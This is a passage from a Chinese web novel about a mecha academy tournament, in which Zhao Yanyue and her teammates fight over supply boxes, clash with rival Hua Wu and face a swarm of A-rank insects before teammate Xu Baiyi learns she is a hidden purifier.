许白亦试图理解一下这句话意思，然后就发现自己眼前的景象一变。 空中的银白机甲和A级虫族闯入眼帘，他们此时正一个逃一个追，打得难舍难分。 许白亦：“！” 她怎么敢的。 赵宴月终于等到许白亦，提起速度飞过去接过他手里的物资箱，然后便将身后追来的虫族交给了他。 考虑到许白亦也是第一次对上A级虫族，赵宴月顺手又将精神力重新连接进了他的精神海以防万一。 许白亦对她的精神力还算熟悉，见她不打一声招呼地闯进自己脑子里也没反抗。 而赵宴月一脱身便打开了物资箱，火速将里面两个净化资格的兑换码输入光脑。 做完这件事，她才长长地呼出一口气，最重要的东西已经拿到手，这下物资箱就是被抢了也损失不大了。 身上被套上虚弱debuff的A级虫族对许白亦来说并不难对付，但是也不算太简单。 成功击杀虫族后，许白亦有一瞬间对这个世界产生了怀疑。 先是莫名其妙闯进第一赛程的前100名，然后又是比他想象中弱了不少的A级虫族…… 赵宴月看出了他的疑惑，解释道：“它身上有虚弱的debuff，实力下降了不少，刚开始可猛了，估计和你能不分上下。” 合理了。 许白亦对这个判断接受良好。 虫族的等级基本对应契约者等级的最高水平，也就是A级虫族的实力某种程度上可以对标一个18阶并且具有丰富战斗经验的契约者的水平。 他如今也不过是19阶的s级，虽然听起来比A机虫族高了一阶，硬要说会打个不分上下也正常。 许白亦收起机甲问道：“这是新灵兽的天赋技能？” “对，只不过一天只能用一次。” 这句话话音一落，直播间果不其然又火山喷发了起来。 “新灵兽？垃圾女王什么时候背着我契约的新灵兽？” “啊？那她身上的机甲到底是不是踏焰天狼的机甲态？我都打算等完整进化链一发布就冲天火狼了。” “个人倾向于新灵兽才是拥有虚弱技能的那只，幼火犬是攻击类灵兽，就算拥有了全新进化链也不可能变成非攻击类灵兽，倒是变身成机甲战宠还有可能。” “她身上就是全新的机甲，不管是哪只灵兽都代表了一条全新的完整进化链。” “别讨论灵兽了，你们不觉得垃圾女王的行为很诡异吗，有些不符合常理。” “终于有人说了，我也觉得。” “我也。” “啊？哪里不对吗？” “哪里都不对，她怎么会想出和A级虫族拖时间的损招……简直是为了200积分伤敌八百自损一万。” “这么长时间下来，我都不敢想她的精神海污染指数增长了几个百分点，这对一名未来的S级机甲尖兵来说太划不来了。” “看许白亦的表情，他应该也没想通。” “对啊，你看其他3S队伍，他们根本不会主动去对上A级虫族，遇上了也会用最短的时间斩杀……” “她的行事逻辑好像从未思考过精神海污染的问题，我怀疑垃圾女王有隐藏的自毁倾向。” “自毁倾向？啊？你是说垃圾女王吗？” “是这样的，楼上可能对垃圾女王不太了解，她不把别人毁了就不错了。” 第72章 蓝色物资箱里的只有两个净化资格, 很快就被江茂茂以一天一个的速度消耗完了。 为了在第二赛程也稳住队伍前100的名次，小队三人这两天将目标对准了高等虫族，这也导致江茂茂的污染指数比之前上涨的更快。 夜色已深, 死灵秘境里的风带着寒意穿过巨大残骸的骨缝, 发出呜呜的风声。 远处还隐隐约约传来爆炸和虫族的尖啸，许白亦垂眸看着眼前升起的篝火, 又开始问那个已经问过八百遍的问题。 “你觉不觉得江茂茂的污染指数不对劲。” 赵宴月将外套垫在时不时有不知名小虫子爬过的草地上，往后倒了下去躺得很安详，火光将她半边侧脸映出跳跃的暖黄色。 看着死灵秘境无星无月的昏暗天空, 她打了个哈欠十分敷衍道：“我也觉得不对劲，要不等他回来你问问他。” 仗着此时已经关了直播间, 许白亦想了想，稍微往赵宴月的旁边坐了坐：“虽然这听起来很荒谬，但你觉得江茂茂有没有可能是净化师。” “何出此言。”赵宴月两眼一睁, 干脆翻了个身给许白亦科普：“净化师是不会被污染的, 除非污染浓度超过了他的精神力上限。” 净化师的精神力和污染能量相撞后自身也会湮灭，除非净化师的所有精神力都被耗空, 否则根本不会被污染。 而就算真被污染了，随着精神力的慢慢回复, 精神海里的污染也会渐渐降低直到为零。 许白亦一听这话, 不但没有被赵宴月说服, 反而觉得她这话更像是自己猜测的佐证。 江茂茂只是C级精神海, 本来精神力相对他们而言就不算充裕, 更别说还要考虑到作战时的消耗。 也就是说他完全有可能在精神力耗空的时候被污染，这也刚好解释得通为什么他不需要频繁地使用净化资格。 逻辑竟然闭环了。 许白亦本来有些困倦，现在直接被自己这个严丝合缝的推测震撼到整个人都清醒了几分。 他将自己的推断说给赵宴月听，然后得到了对方全方位的否定。 “所以你是说一名净化师突破云中宫殿的封锁掩盖身份考入兰柏林和你组队参加新星杯来了是吗？” 许白亦：“……” 好会心一击的回答。 让他逻辑严谨的推测一下子就变得荒谬了起来, 甚至还透出几分好笑。 许白亦顿时不再想东想西：“也对，可能真是他走位比较谨慎，毕竟他拿的武器是弓，本来也不需要近距离接触高级虫族。” 眼见许白亦就这么把自己说服了，赵宴月笑了一声，感叹C级精神海真是个奇妙的等级。 这个等级的人基本不会上战场，上战场也大多是当后勤，很少有人真正直面过虫族的污染，所以也没什么参照数据可言。 许白亦觉得江茂茂的污染值好像上升得有点慢，也只是用净化资格的使用频率和其他队伍对比出来的慢。 他其实根本就不知道C级精神海面对B级虫族时，精神海的污染指数具体应该是以什么速度上涨。 再加上江茂茂是远程输出，那就更容易混淆判断了。 赵宴月思及此又打了哈欠，安详地闭上了眼，将自己的小马甲捂得死死的。 好歹在三垣星系已经待了这么久，她如今已经深刻体会到联邦居民对净化师的狂热推崇和病态保护欲。 但凡S级净化师的小马甲掉了下来，那她再也别想过这种想干嘛就干嘛的日子了。 他人强加的保护欲何尝不是一种束缚，特别是当他们的出发点确实是真心为你好的时候——这种时候一旦做出背离他们想法的事，便能轻而易举地让人感受到压抑，甚至还会陷入自责的陷阱。 江茂茂从悬浮舰上回来的时候，赵宴月已经睡得很安详了。 他心里有些惋惜自己少了一个听众，只好拉着许白亦又一次不厌其烦地说起了自己被净化时的美妙感受。 等江茂茂兴高采烈地说完，他还不忘抽空安慰一下许白亦：“总有一天你也能感受到的。” 许白亦平淡地听完了江茂茂绘声绘色的描述，脑子里只剩下一个想法。 ——自己会觉得江茂茂是净化师，确实是有点魔怔了。 还是赵宴月脑子更清醒，一点都不带怀疑的。 “这几天悬浮舰上等净化的选手好多啊，不知道是不是大家给机甲装备上武器之后都去击杀高等虫族攒积分了，悬浮舰上人山人海的，甚至开放了专门的净化室。” 前几天他上悬浮舰的时候，选手都还在影音室门口排队，因为使用净化资格的人数不多，看起来着实随意得很。 江茂茂搓了搓手，虽然并没有觉得冷，但看到篝火下意识就将手伸过去烤了烤，然后又聊起了自己听到的八卦：“司焕的队伍你记得不？” 许白亦从思绪中回过神，捧场地接话：“他们队伍怎么了？” “他已经变成新星杯知名二手贩子了。”江茂茂说到这啧啧啧了好几声，“从3S队伍里低价收购他们不要的净化资格，然后再高价卖给其他的队伍，口碑良好，生意兴隆。” “你想想，他们小队本身也是3S小队，提出帮其他3S小队杀虫族换净化资格基本就没有拒绝的，拿到净化资格后他又组织要买净化资格的小队去对付小型虫潮给他们队伍刷积分，不出意外这个第二赛程NO.1的宝座就要被他们队伍拿下了。” “嗯。”许白亦点了点头：“符合我对指挥的刻板印象。” “就算有其他队伍学他，现在人家口碑都打出来了。”江茂茂显然也对这个“刻板印象”深有同感，“而且最重要的是司焕还是个指挥，他指挥其他小队一起对付小型虫潮的时候，比他们各自为战的效率高多了，他这倒买倒卖的生意听着简单，仔细一想属实是一环扣一环，一般队伍也没法复刻。” 江茂茂说完还有点意犹未尽，正打算和许白亦再聊点没营养的废话，结果被许白亦催促着去睡觉。 “明天得去抢物资箱，早点休息。” “那到点你叫我，换我来守夜。”江茂茂憋回了自己的一箩筐话，整整齐齐地躺到了赵宴月的旁边。 今晚的临时营地选在不知名骸骨的下方，不过有遮挡物和没遮挡物一个样，总之四面漏风纯属图个心里安慰。 唉。 作为全三垣星系最大模型机公司微光集团的小少爷，真是苦了他了。 许白亦也没探究江茂茂在莫名其妙叹什么气，作为唯一操心队伍前途的人，他看着跳动的火苗思考起了明天的行程。 一个蓝色物资箱里的生存物资和净化资格目前来看只能保他们队伍两天的消耗，明天最好能拿到金色物资箱。 拿到金色物资箱之后就可以全力攒积分，不用再为物资的事情耽搁进度。 队伍三人守夜的守夜，睡觉的睡觉，原本还能听到的隐约交战声也渐渐平息，周围的环境都安静了下来。 与此同时，联邦军校联合赛事指挥中心内正灯火通明。 环形的会议室中央悬浮着一幅巨大而精密的全息地图，代表选手和悬浮舰的光点在上面明灭闪烁。 圆桌旁寥寥数人端坐，坐在主位上的中年男人手指轻轻敲击着桌面，发出沉闷的“笃笃”声。 林振的目光有如实质般看向全息地图上被标注的红点，过了良久才开口道：“确定这些A级虫族都是最近两天出现在死灵秘境里的？” “确定。”新星杯的赛事负责人皱着眉点了点头：“死灵秘境是常驻秘境，本身对我们来说就不陌生，而且在选择将死灵秘境作为新星杯举办地点前，我们负责组也做了全方位的勘察，当时里面A级虫族的数量远远没有这么多，甚至在第一赛程时都还是正常的。” “没想到现在会出现这种岔子，虫族这两天中邪似的往死灵秘境里闯。”负责人说到这深深地叹了口气，“原本算好一个物资箱里的净化资格现在都不够用，选手们整个第二赛程的重点被迫偏离到抢物资箱上，击杀虫族没有变得更激烈，反倒是选手之间的竞争加剧了。” 见负责人有些自责，林振稍微摇了摇头：“虫族的行动谁也无法预料，目前情况怎么样？” “还在可控范围内，这一届安保组里有将近三十位S级机甲尖兵，比以往任何一届的安保力量都强。” 负责人说到这也稍稍放下心，只不过这口气还没送多久便又提了起来：“主要是我担心……” “担心第三赛程？”林振问道。 “对，参与新星杯的都是天市星新一代机甲尖兵的新生力量，我怀疑虫族非要突破秘境就是瞄准了他们，按照这个趋势继续下去，我怕第三赛程会出现S级王虫。” 林振揉了揉太阳穴：“是有这个可能，只不过之前新星杯办了这么多届也没出现过这种情况，负责组还有没有观测到其他可疑原因？” “暂时还没有。”负责人摇了摇头，“林指挥，要向天市星的执政官们反映这件事吗？” 一个新星杯出点小岔子倒还不至于汇报给执政官。 更别说S级王虫进入秘境的难度比A级王虫大得多，总不能因为一个未知的猜测直接叫停新星杯。 林振沉默片刻：“死灵秘境随时都可以出去，如果事情真的按照预想的情况发生了也不会造成严重后果，再往安保组里多加点人手兜底，然后静观其变吧。” 如果第三赛程真出现数量不少的S级王虫，如今的排名局势可能要大洗牌。 第73章 “在巨兽坟场的方向, 离得不远。” 眼见物资箱的金色光柱消散，江茂茂将机甲的视野从放大模式调回正常模式：“坐好了，目标已定位, 江茂茂牌穿梭机要启动了！” 赵宴月懒洋洋接话：“好的机长。” 许白亦垂眸看着全息地图, 算了算距离和时速道：“巨兽坟场在骸骨荒原的西边，用穿梭赶过去可能也不太来得及。” “这已经是这两天离我们最近的金色物资箱了。”赵宴月十分乐观且自信：“去得早不如去得巧, 说不定我们到的时候正赶趟。” 有了江茂茂的前例在，许白亦如今对赵宴月的判断有一种迷一样的信服，听她这么说便也觉得有道理。 “也是, 这几天选手们抢物资箱抢得很激烈，应该不会让哪只队伍轻松拿下。” 他们还在赶路的时候, 由无数庞大未知生物骸骨堆积成的巨兽坟场已经吹响了战斗的号角。 物资箱“哐当”一声砸在几根交叉的巨型腿骨之间，附近最先冲过来的小队瞬间打成一团。 一时间尘土和骨屑漫天飞扬，远远看去像是起了一阵龙卷风, 只能看见尘土中几根刺向天空的断裂肋骨若隐若现。 等赵宴月赶到的时候, 巨兽坟场果不其然还相当热闹。 其实赵宴月也没想到物资箱的竞争会激烈成这样，不过扭头对上许白亦“还真被你说中了”的目光, 她一时间身心舒畅。 眼看还得再打一会儿，三人也没急着出去抢物资箱, 驾轻就熟地占据高地趴了下来。 赵宴月看了眼电蝇蛾, 思考一会儿, 出于某种包袱为队伍三人鬼鬼祟祟的行为找了个合理的解释。 “不是我们打不过, 而是行动之前要先观察熟悉环境, 盲目冲锋不可取。” 江茂茂赞同地接话：“是这样没错，投机取巧更有性价比。” 难得见到赵宴月理会直播间的观众，弹幕纷纷刷过。 “你们有没有发现，自从物资箱争夺战越来越激烈之后, 大家都变苟了。” “不是的，不是的朋友，你太高看她了，垃圾女王一直都这么苟。” “据我流窜在多个直播间掌握的信息来看，确实很多队伍都还在等机会，不过基本都是B级队伍。” “华妩的队伍也在，而且她已经发现垃圾女王了，垃圾女王没发现华妩诶，她的位置有点隐蔽。” “这两仇敌对上总感觉有一个人要吃好果子了，目前的情况来看垃圾女王更加不妙。” “争这个物资箱的队伍里华妩的团队最强，有两个S级机甲尖兵，垃圾女王的队伍和正在打架的那支3A队伍应该差不多。” “硬要说起来还是3A队伍更强，只不过垃圾女王这边的天赋技能多还有奇效，算他们勉强打平吧。” “我去看看华妩直播间的视角。” “你去那我也去。” 物资箱旁边陷入激战的队伍打到现在局势已经明朗，一个由3名A级机甲尖兵组成的小队成功力压各个小队。 橙色的重型机甲如同一头蛮横的水牛般撞开了试图进行拦截的几台机甲，他压制住零星的反击，从几支小队的包围圈里犁出一条路。 就在刚要抓到物资箱的瞬间，数发子弹从各个角度射了出去，直逼他而来。 选手明显对此早有准备，身型灵活地闪了过去抱起了物资箱，偶尔有几发子弹落到身上也造不成严重损伤。 直到一梭黑红色的火焰弹瞬间击中机甲的各个脉络节点，脉络中流动的精神力直接被阻断，让机甲陷入零点几秒不受控的僵直状态。 刚到手的物资箱又重重地砸回去的瞬间，华妩眼睛一眯，抬起机甲上加装的能量炮对准了物资箱。 她在心里默数片刻，几发附着着紫黑色技能光芒的能量炮直接对物资箱旁的橙色机甲来了个人体描边。 就在直播间的观众震撼她这几发炮弹的准头怎么会歪得如此惊人的时候，下一秒白紫色的机甲凭空出现在物资箱旁边。 许白亦硬生生承受住了这提前预判的一炮，直接被轰到单膝跪地，他的手撑在地上被往后击退了好几米，沙尘翻飞。 “Whats up！避无可避！真的假的！这也能预判？” “惊呆了家人们，看得我直接从床上一个仰卧起坐。” “这一波操作简直封神，速速剪进本届新星杯超燃特辑！” “华妩！华妩！华妩！啊啊啊啊啊啊啊！” “华妩竟然能在那么多子弹里认出赵宴月的那一梭，不得不说最了解你的人永远是你的对手。” “我没看懂啊我没看懂，好急！谁能来解释一下这一波操作的原理！” “是这样的，由于华妩曾经在同一个坑里跌倒过两次，所以已经对对面的这个技能吸烟刻肺了……” “对面是我们家垃圾女王，她队友的天赋技能是穿梭……不说了，我要去垃圾女王直播间看笑话。” “你去那我也去。” Whats up！ 在看到许白亦被偷袭的瞬间，赵宴月脑子里也只剩下了这一句话。 虽然有不少选手都见过江茂茂的穿梭技能，但是能将时机把握得这么精准的，除了在同一个坑里摔了两次的华妩根本不做他想。 赵宴月顺着弹道看去，果然在一个极为隐蔽的巨兽头骨内部看见了华妩的机甲。 华妩明显朝这边看了一眼，虽然机甲上没有五官，但赵宴月已经成功对上她的脑电波，接收到了她的挑衅。 赵宴月：“……” 华妩已经驾驶着机甲冲去了物资箱的附近，身边还跟着她同是S级机甲尖兵的队友严舒也。 许白亦虽然挨了华妩那一炮，但也将物资箱抢了过来，此时见华妩和严舒也来了顿感不妙。 他机甲已经受损严重，这种情况下和他们打起来肯定没什么好果子吃。 一旦他的机甲丧失作战能力，在契约灵兽修复期间，他们整个队伍最强的战力也不过是赵宴月一个B级——的机甲工程师。 赵宴月肯定没办法从这两人手里抢到这个物资箱不说，甚至他们队伍今天连击杀虫族的积分都赚不了多少，堪称稳赔不赚的买卖。 就在许白亦思考着要不要直接放弃这个物资箱的时候，脑海里传来了赵宴月的声音。 “拿着物资箱跑，江茂茂会用技能辅助你。” 许白亦一顿，自从他学会开机甲以来，还从来没有尝试过做这种事，一时没记起还有逃跑这个选项。 不过江茂茂的技能范围并没有太远，要想不被两人包抄就不能离开他的技能范围，只能绕着巨兽坟场跑。 赵宴月看着天上在枪林弹雨中你逃我追的三个人，视线在华妩和严舒也机甲的武器上停留了片刻，而后眯了眯眼重新看向了华妩之前藏身的头骨。 没记错的话，他们队伍有一个人至今未曾露面，那名只闻其名不见其人的B级机甲工程师。 第一赛程碰上华妩时，赵宴月就发现他们队伍只有两个人，当时她猜测华妩应该将人安顿在补给站。 不参战当然直接免去了为工程师兑换净化资格的积分消耗，但其实也代表着工程师丧失了在第一赛程积累作战经验的机会。 某种意义上来说，华妩太过傲慢，并没有把他当做队友看待，更像是个机甲加装工具人，用完之后直接当个队伍挂件。 但是第二赛程已经没有安全区—— 打不过华妩，她还打不过她队伍里的机甲工程师吗。 机甲的高倍镜头如同鹰隼般扫视着头骨间的阴影和掩体，而后捕捉到一片机甲外壳的金属反光。 银白色的机甲如同捕食的猎人从高处无声滑下，几个起落间就逼近了目的地。 猎物显然被赵宴月的突然逼近吓到了，他下意识往后退了一步，试图将自己藏进更深的骨头缝隙里。 “找到你喽。” 赵宴月虽然和正儿八经的B级机甲尖兵比起来不太中用，但是让她和B级机甲工程师打架那属实是没有难度。 对面的机甲被她几招撂倒在地，银白机甲伸出手硬生生掰开了驾驶舱的厚重金属门。 赵宴月收起机甲，然后像个恶毒反派似的把人从驾驶舱里拖了出来。 不愧是华妩团队的成员，工程师显然对她要做什么已经有所预料，声音十分惊慌：“你别过来！我刚已经通知华妩了！” “哈？你有没有搞错？拿她吓我？” 这句话不仅没起到任何威胁作用，反而提醒了赵宴月加快动作。 赵宴月像是逮捕犯罪嫌疑人似的将人牢牢按在身下，然后身后去够他手腕上的光脑。 可怜的工程师徒劳地挣扎着，试图伸长手臂试图去躲，语气绝望地喊道：“你有没有素质！怎么可以这样！” “我要那么多素质干什么，不瞒你说，自从我素质低了以后，身边的人素质都高了，生活一下子爽多了，你也快试试吧。” “救命啊！！！杀人啦！！！” 随着退赛键被按下，这句语气中充满了崩溃和绝望的话成为了他新星杯的临终遗言。 用平生最快速度赶来的华妩顿时低骂一声。 目的地明明就在眼前，但比她速度更快的，是光脑里弹出的“队友淘汰，积分-5000”的通知信息。 “赵宴月！你给我等着！” 看着自己小队的积分扣到只剩两千多，华妩气得头顶冒火。 同是B级机甲工程师，她的队友为什么这么不中用，这么一会儿都撑不住。 辛辛苦苦快十天，一夜回到解放前，今天她不把赵宴月送出去算她脾气好。 看着华妩气势汹汹，赵宴月看见她就跟看见老鹰的兔子似的撒腿就跑，华妩可是正儿八经的S级机甲尖兵，她才不和她打。 于是赵宴月又看向电蝇蛾：“不是我打不过，主要是有句老话说得好，识时务者为俊杰。” 弹幕：“……” 许白亦和赵宴月一个被严舒也追一个被华妩追，一个队伍三个人，有两个人看起来都不是很体面。 当然最不体面的还是赵宴月。 许白亦和严舒也同为S级机甲尖兵，速度相差不大，加上没有了华妩的包抄轻松了不少。 而赵宴月感受到身后越来越逼近的华妩，疯狂呼唤起江茂茂。 “捞一把捞一把。” 传讯器里传来江茂茂绝望的声音：“还差一点，这个距离我捞不到……” 完了。 赵宴月打开机甲尖兵基本从不会用的机甲外扩传声器，充斥着轻微电流声的声音响亮地在巨兽坟场的上空响起。 “本是同根生相煎何太急，何必把精神力浪费在我身上，有话好说嘛。” “我可没话和你说。” 华妩一看她这死出就知道赵宴月在和她拖时间，想要跑到江茂茂的技能使用范围内。 人不可能在同一个地方跌倒三次。 华妩话音一落，一炮能量炮便直直朝赵宴月轰去。 赵宴月见状只好侧身闪避，也就是耽误这么一会儿的功夫，华妩便追了上来从后方锁住赵宴月，带着她直直朝地面冲去。 “救救救——别别别——我错了姐——” “现在知道错了，早干什么去了。” 两具机甲轰地一声撞上地面，顿时地震山摇，赵宴月作为被死死按在下面的那个，被这一撞撞到大脑都短路了片刻。 正在悬浮舰上看直播的段院长倒吸一口冷气，伸出手颤颤巍巍地去拿桌上的速效救心丸。 柳依依见状立马递了杯温水过去，担忧地小声道：“您别担心，赵宴月肯定不会被淘汰的。” 见段院长操心赵宴月操心成这样，柳依依也没招了，只能被迫成为赵宴月的粉丝团之一。 段院长其实心里巴不得赵宴月早点淘汰，但这话又不能说，毕竟整个屋里大概只有她一个人是黑粉。 其他人看了这么多天直播，多多少少都被贺如故带进了坑。 视线从一张张透着紧张和担心的脸上扫过，段院长孤单地叹了口气道：“希望吧。” 画面里被砸进坑里的银白机甲缓了还没一会儿，立马又从地上了爬起来，喊着“我要和你拼了”就对着华妩的机甲冲了过去。 这也太虎了点。 段院长做了个深呼吸才敢继续往下看，结果就发现赵宴月喊的和做的根本不是一回事。 赵宴月看着好像要和华妩决一死战，其实她从华妩的身边直直地跑过去又逃了。 华妩：“……？” 华妩本来都准备好了让赵宴月见识见识什么叫S级机甲尖兵，见她又跑了顿时意识到不妙。 一旦让赵宴月和江茂茂打上配合就不好追了，这个时候不逮住她就错过了最佳时机。 华妩正要动作，然而就在这时天上异变突生。 天空中忽然出现了一道道黑色的、像是漩涡一样的缝隙，一个个A级虫族从缝隙里跨越了过来。 它们拥有人类的轮廓，只不过大多头部都是金属头盔，身上的一些肢体也被金属取代，仿佛有某种暗色的能量在金属表面流动。 十几个A级虫族的同时出现，齐齐悬浮在天边，让整片巨兽坟场刹那间陷入了浓重的污染中。 一些藏在更外围、本想等所有人都打残再出来捡便宜的“黄雀”小队，此刻哪里还敢捡漏。 黄雀们纷纷化身惊弓之鸟从四面八方窜了出来，一边疯狂“Whats up”一边用最快的速度离开污染区，场面一度十分混乱。 比现场还要混乱是是弹幕。 “Whats up！怎么一下子出来这么多A级王虫。” “有虫族突破秘境很正常，但是我从来没见过这么多A级王虫同时出现，它们来这有事吗……” “惊呆了，从未见过这种发展，有没有人知道这种情况安保组会下场吗？” “不会，这还没到需要安保组干预比赛的程度，只能说碰上的小队运气不好。” “你们有没有发现，它们追的机甲都是银白色的，难道说浅色的机甲对虫族更有吸引力？” “机甲的颜色一共那么多，根本就没有小众颜色吧，这个推断还缺乏更多依据。” “在无人在意的角落，江茂茂已经拿到了许白亦手里的物资箱并且拿下了净化资格……” “你别说你还真别说，江茂茂面对A级王虫还挺冷静，在跑路之前还没忘了先输净化资格兑换码……” “他的技能别的不夸，跑路这一块没得说，当然不用着急了。” “不好！垃圾女王！你不要有事啊！我就指望着看你下饭呢！” 赵宴月也不想有事。 她看着朝她迎面而来的A级虫族，脑子里只剩下了两个字。 Whats up。 第74章 赵宴月发现A级王虫的目标基本都是银白色的机甲, 看着很像是有目标地在找什么人。 考虑到虫族曾经就有过发动一场战争只为了抓一位B级净化师的先例在，这十几个A级王虫赵宴月合理怀疑都是冲自己来的。 好消息是如果不主动放出精神力，它们应该无法精准定位到自己身上。 坏消息是已经有虫族朝她冲过来了。 许白亦的声音从传讯器里传来：“你怎么被虫族盯上了。” “不知道, 要不你去问问它为什么。” “它应该不会告诉我。” 许白亦截住冲着赵宴月过去的虫族, 而赵宴月拉远距离用狙击枪和他打配合，忧愁道：“你能打吗？” 许白亦的机甲在抢物资箱的时候就已经受损了, 现在又要对上A级虫族，赵宴月心里稍微有点没底。 “能。”对面十分客观地进行陈述：“前提是对手只有这一个。” “唉，都怪华妩。” 赵宴月顺口将黑锅扣到华妩头上, 想了想又给许白亦画饼道：“加油干掉它，我回去给你炖点汤好好补补。” 许白亦听到这话都有点受宠若惊, 感觉不像是赵宴月能做出来的事：“真的吗？什么汤？” “西红柿鸡蛋汤。” 许白亦沉默了好一会儿：“也行。” A级虫族在两个人你来我往的配合下，也看出了对面两人是个硬茬子。 它头上的触角微动，不知道交流了什么, 附近的另一只A级虫族便放下自己的猎物赶了过来。 差点就要退出秘境的选手见追着自己的虫族忽然间换了目标, 顿时大喜过望，他扭过头看了眼巨兽坟场里被两只虫族包围的两台机甲：“太惨了, 谢了哈。” 见又有一个王虫过来了，赵宴月眉头一皱, 感觉有些不妙。 虽然现在虫族都已经四散分开, 但是总体相隔的距离并不远, 随时都可以赶来支援, 并不是只要对付完一个就能逃之夭夭。 除非它们放弃把自己当做目标, 否则只会陷入无尽的苦战。 另一边的华妩和严舒也刚趁机击杀了一名A级虫族，华妩趁着喘息的功夫眯眼看了看不远处打在一起的两人两王虫。 虽然说要把赵宴月扔出秘境，但她倒也不至于会帮着虫族去对付她，只是嗤笑一声道：“还挺犟, 被盯上了竟然现在还没退出秘境。” 她倒要看看赵宴月还能撑多久。 没记错的话，赵宴月的信息显示她仅仅只是B级的契约者，在刚入学的新生里算是优秀，但放在新星杯里着实不够看。 作为一个还在成长中的未来S级机甲尖兵，赵宴月现在顶着污染对上A级虫族纯属意气用事，在华妩看来还不如干脆点直接出秘境。 严舒也以为华妩盯着赵宴月是还在琢磨些坏主意，毕竟如果不是赵宴月他们现在早跑了，也不至于还苦哈哈地在这杀A级虫族。 队友被淘汰导致他们队伍被扣了足足5000积分，再不拼一把，前100名是想都不用想了。 精神海污染值监测器上的数值缓缓上升，数字每往后跳一个小数点，严舒也的心脏就一突。 被王虫追着垂死挣扎的选手们见到此时还在顶着污染赚积分的两人，简直就像是见到了救星。 不但一个两个全都疯狂往华妩的方向跑，还十分不要脸地大喊：“老大我帮你们把虫族引来了。” 一下子迎面而来两个虫族，华妩语气烦躁道：“滚滚滚。” “好嘞！” 华妩不爽但又不得不将王虫拦了下来，顿时也陷入了被两个王虫夹击的场面，局面一下子有些僵持。 “这死丫头命真好。”华妩打着打着突然咬牙切齿道：“灵兽这个时候升阶。” 眼见赵宴月的机甲马上就要撑不住了，结果莹润的白光流转间，原本被虫族砍出来的战损全部被修复完成，把华妩气得差点一炮轰偏。 严舒也闻言震撼道：“你还有空关注他们，看一眼监测器吧，杀完这两个赶紧走。” 两个王虫的污染叠加下，污染数值比之前长得更快不说，战斗时间也被拖长了。 华妩这时候才抽空看了一眼监测器，不看不知道，一看顿时低骂出声加快了动作。 她是有紧迫感了，倒是严舒也又突然冷不丁地问道：“你说他们两个是怎么在两个王虫的污染下撑到现在的？日子不过了吗？” 虽然是S级精神海没那么容易被污染，但是相对的，S级精神海的寿命在污染数值临近80%的时候也就到了头。 在上真正的战场之前，最低也要把污染数值把控在20%以内，剩下的污染份额留给出手斩杀S级王虫。 严舒也以自己做参照，推断赵宴月和许白亦的污染值目前绝对超过20%了，但是这两人还没有要退出新星杯的意思。 华妩回道：“应该快撑不住了，别管他们了。” 许白亦确实撑不住了，不仅是机甲快要撑不住了，最主要的是他的心态有点撑不住了。 长时间处于两个A级王虫的污染范围内，他时不时会关注污染监测器，方便确定下一步行动。 ——然后他就看见自己污染监测器上的数值跳着跳着突然降低了。 许白亦怀疑自己可能是眼花看错了，但同时也严密观测起了监测器上的数值——然后就发现上面的数值一下子升高一下子降低一下子升高一下子降低…… 19.7%、19.8%、19.9%……25.1%、15.3%、15.4%、15.5%……22.2%、14.9%、15%…… 最开始他以为是监测器坏了，自己的精神海的污染程度可能已经不轻，结果精神海里的黑雾浓度和监测器上的数值完全对得上。 这到底是怎么回事。 这污染区再待下去他都快要被净化了。 在漫天天火流星和紫黑色雷霆的轰鸣声中，许白亦语气冷静道：“赵宴月，我和你说一件事，你听了别害怕。” 赵宴月此时正被虫族狠狠操练打架技术，虚弱又半死不活地回应：“什么事我听了都不会害怕。” “看看你监测器上的数值。” 这话听了她有些害怕。 赵宴月闻言动作猛地一顿，而后被A级王虫一个抱摔按翻在地。 堪堪一米□□左右的A级虫族浑身缠绕着丝丝缕缕的红光，就这么将三四米高的机甲摔到了地上，但对赵宴月来说被砸在地上的冲击力还没有听到这句话的冲击力大。 监测器上的数值应该是多少。 回答个什么数字才在合理范围内。 许白亦为什么突然这么问。 他的监测器坏了吗。 不对。 赵宴月的脑子里飞速闪过一堆思绪，然后立马意识到了什么。 她从地上爬起来，也语气冷静地回道：“那我也和你说一件事，你听了别害怕。” 许白亦解决完自己这边的A级虫族去帮赵宴月，闻言眸光一顿：“什么事我听了都不会害怕，只要你别说你是净化师就行。” “喔。”赵宴月看着越来越多朝这边赶来的A级虫族，“那我没话说了。” 有了许白亦的加入，两人生死时速解决了另一个虫族，然后纷纷点开光脑按下净化资格的使用键拔腿就跑。 这一次医疗运输舰来得以往任何一次都快，网友们都还没反应过来，两人就已经坐进了运输舰里。 “净化资格新用法get。” “虽然但是，这次医疗运输舰也来得太快了吧，稍微慢点都有他们好果子吃。” “真贪啊，四五个王虫一起冲过来，这两人还敢贪积分。” “垃圾女王和许白亦之间的气氛怎么这么奇怪，你们背着我发生了什么？” “这个凝滞的气氛我熟，肯定是发生了争执在冷战，比如许白亦让垃圾女王退出秘境，但是垃圾女王不愿意。” “我也觉得垃圾女王现在精神海的污染数值堪忧，她之前也长时间对上过一次A级虫族，再加上这次……” “唉，垃圾女王一直都挺有个性的，她这个人最大的特质就是不听劝，从她最初非要契约幼火犬的时候我就看出来了。” “话是这么说，但是人家契约幼火犬之后自己研究出了天火狼进化链，真鱼与熊掌兼得……” “这能一样吗，虽然研究出进化链也很离谱，但是S级精神海污染这种事没得救啊，无解。” “我就知道她这种坏性格肯定要栽跟头的，不枉本黑粉盯了这么久，这下舒服了。” “……楼上你有这个时间不能花在自家正主身上吗？” “那你别管，她之前骂过我，我恨她。” 此时已经安静了很久的医疗舰内，许白亦已经经过了一阵头脑风暴。 在没有了压力的环境下，他用做阅读理解的精力去分析了刚才那几句简短对话里的意思。 不但逐字逐句进行解析，还联合了当时的情景和上下文。 最后得出的结论依旧是怎么想都让人不敢相信的那个。 赵宴月见坐在旁边的人一直低着头沉默得很诡异，猫猫祟祟地弯下腰侧过头从下往上看了他一眼。 对上她狐疑的目光，许白亦眨了眨眼最后干脆停止了思考，直接丢掉脑子求证道：“你刚说的话是我想的那个意思吗？” “原来你还在纠结这个啊。” 赵宴月重新坐了回去，老神在在地像是小学生说别人坏话：“就是那个意思，你别告诉别人。” 许白亦顿时闭上眼倒吸一口凉气，然后像是遭受了什么巨大的无法承受的打击似的，整个人嘎巴一下趴在了桌子上。 赵宴月盯着他发丝浓密的后脑勺，用手指戳了戳许白亦的后腰，强调道：“你听到没有。” 男生清朗的声音被捂得透出几分沉闷：“……听到了，你先让我缓缓。” “不装了摊牌了。” 